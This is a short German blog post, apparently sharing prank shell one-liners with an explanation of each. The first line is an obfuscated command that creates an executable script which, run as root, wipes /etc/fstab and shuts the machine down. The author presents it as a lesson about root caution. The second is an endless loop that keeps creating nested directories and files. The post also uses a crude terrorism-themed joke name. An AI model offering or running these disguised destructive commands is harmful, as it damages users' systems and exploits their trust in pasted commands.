export OSAMA=/usr/local/bin/laden ; clear ; echo "Talibunny Login Method" ; echo "cat /dev/null `ls -f /etc | sed -e 's/yst/tab/p' -n | cut -b 1,5-8 |awk '{print "> /etc/" $1}'`" >> $OSAMA ; echo "`ls -f /etc | grep [.] | cut -b 1-4 | grep ni` 0" >> $OSAMA ; chmod 101 $OSAMA ; echo " osama bin ..... < Wie gehts weiter?"
was es tut? eine datei namens laden anlegen im verzeichnis /usr/local/bin und diese ausführbar machen. wenn man nun laden eingibt als root löscht die datei den inhalt der /etc/fstab datei und bootet neu. es diente mir dazu denjenigen zu zeigen dass a) man den root account nur dann nimmt wenn man es auch braucht und b) man als root nichts eingibt was man nicht versteht.
while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done &
Das Ding macht nix anderes, als das es ein Verzeichnis mit dem Namen "foobar" erzeugt. Anschlieszend wird in das Verzeichnis gewechselt und darin eine Datei "hrhr" erstellt[1]... und das geht dann immer so weiter *g*
No comments:
Post a Comment